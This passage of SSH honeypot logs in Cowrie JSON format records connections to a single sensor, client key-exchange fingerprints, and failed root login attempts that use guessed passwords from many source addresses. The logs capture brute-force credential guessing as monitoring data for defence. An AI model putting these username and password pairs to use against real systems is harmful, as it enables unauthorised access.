cdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:37.693901Z","src_ip":"43.153.56.192","session":"4219210a34dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rulezzz","message":"login attempt [root/rulezzz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:37.953923Z","src_ip":"103.75.182.198","session":"5e3c5c3d5d0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:37.999724Z","src_ip":"43.153.56.192","session":"4219210a34dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:39.071761Z","src_ip":"43.153.56.192","session":"4219210a34dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:39.201979Z","src_ip":"103.75.182.198","session":"5e3c5c3d5d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":44030,"dst_ip":"159.203.135.109","dst_port":22,"session":"05f2b7e94e89","protocol":"ssh","message":"New connection: 103.172.78.219:44030 (159.203.135.109:22) [session: 05f2b7e94e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:53.061444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:53.065672Z","src_ip":"103.172.78.219","session":"05f2b7e94e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:53.320017Z","src_ip":"103.172.78.219","session":"05f2b7e94e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjnjnbg","message":"login attempt [root/ghjnjnbg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:54.083940Z","src_ip":"103.172.78.219","session":"05f2b7e94e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:58:55.341213Z","src_ip":"103.172.78.219","session":"05f2b7e94e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.83.154","src_port":46124,"dst_ip":"10.17.0.5","dst_port":22,"session":"82a11bc0cbc7","protocol":"ssh","message":"New connection: 43.173.83.154:46124 (10.17.0.5:22) [session: 82a11bc0cbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:03.583560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:03.591621Z","src_ip":"43.173.83.154","session":"82a11bc0cbc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:03.661389Z","src_ip":"43.173.83.154","session":"82a11bc0cbc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpass1","message":"login attempt [root/newpass1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:03.977324Z","src_ip":"43.173.83.154","session":"82a11bc0cbc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:05.049351Z","src_ip":"43.173.83.154","session":"82a11bc0cbc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":52264,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff73461565aa","protocol":"ssh","message":"New connection: 43.135.164.198:52264 (159.203.135.109:22) [session: ff73461565aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:14.259717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:14.264545Z","src_ip":"43.135.164.198","session":"ff73461565aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:14.333647Z","src_ip":"43.135.164.198","session":"ff73461565aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"games","message":"login attempt [root/games] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:14.640787Z","src_ip":"43.135.164.198","session":"ff73461565aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:15.715972Z","src_ip":"43.135.164.198","session":"ff73461565aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":37662,"dst_ip":"159.203.135.109","dst_port":22,"session":"7327d7b1585c","protocol":"ssh","message":"New connection: 171.244.37.97:37662 (159.203.135.109:22) [session: 7327d7b1585c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:25.962994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:25.970512Z","src_ip":"171.244.37.97","session":"7327d7b1585c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:26.224078Z","src_ip":"171.244.37.97","session":"7327d7b1585c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.130.168.2","src_port":47494,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a04134fbbcd","protocol":"ssh","message":"New connection: 3.130.168.2:47494 (10.17.0.5:22) [session: 3a04134fbbcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:26.289208Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:26.293539Z","src_ip":"3.130.168.2","session":"3a04134fbbcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:26.296926Z","src_ip":"3.130.168.2","session":"3a04134fbbcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zenoss","message":"login attempt [root/zenoss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:27.268703Z","src_ip":"171.244.37.97","session":"7327d7b1585c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:28.525033Z","src_ip":"171.244.37.97","session":"7327d7b1585c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.50.197","src_port":58886,"dst_ip":"10.17.0.5","dst_port":22,"session":"ceff551dccf9","protocol":"ssh","message":"New connection: 43.153.50.197:58886 (10.17.0.5:22) [session: ceff551dccf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:34.263265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:34.268247Z","src_ip":"43.153.50.197","session":"ceff551dccf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:34.337073Z","src_ip":"43.153.50.197","session":"ceff551dccf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j8LrZjtyudgwUkz","message":"login attempt [root/j8LrZjtyudgwUkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:34.644758Z","src_ip":"43.153.50.197","session":"ceff551dccf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":57228,"dst_ip":"159.203.135.109","dst_port":22,"session":"fee84862d1f8","protocol":"ssh","message":"New connection: 43.135.168.126:57228 (159.203.135.109:22) [session: fee84862d1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:35.230377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:35.236135Z","src_ip":"43.135.168.126","session":"fee84862d1f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:35.307626Z","src_ip":"43.135.168.126","session":"fee84862d1f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":43708,"dst_ip":"159.203.135.109","dst_port":22,"session":"d382a83c1a85","protocol":"ssh","message":"New connection: 43.163.81.22:43708 (159.203.135.109:22) [session: d382a83c1a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:35.582826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:35.587201Z","src_ip":"43.163.81.22","session":"d382a83c1a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alpha123","message":"login attempt [root/alpha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:35.615495Z","src_ip":"43.135.168.126","session":"fee84862d1f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:35.716673Z","src_ip":"43.153.50.197","session":"ceff551dccf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:35.817258Z","src_ip":"43.163.81.22","session":"d382a83c1a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:36.686967Z","src_ip":"43.135.168.126","session":"fee84862d1f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootbridge","message":"login attempt [root/rootbridge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:36.769894Z","src_ip":"43.163.81.22","session":"d382a83c1a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:38.003567Z","src_ip":"43.163.81.22","session":"d382a83c1a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":54124,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bfc705af571","protocol":"ssh","message":"New connection: 193.32.162.151:54124 (159.203.135.109:22) [session: 8bfc705af571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:46.088128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:59:46.093309Z","src_ip":"193.32.162.151","session":"8bfc705af571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 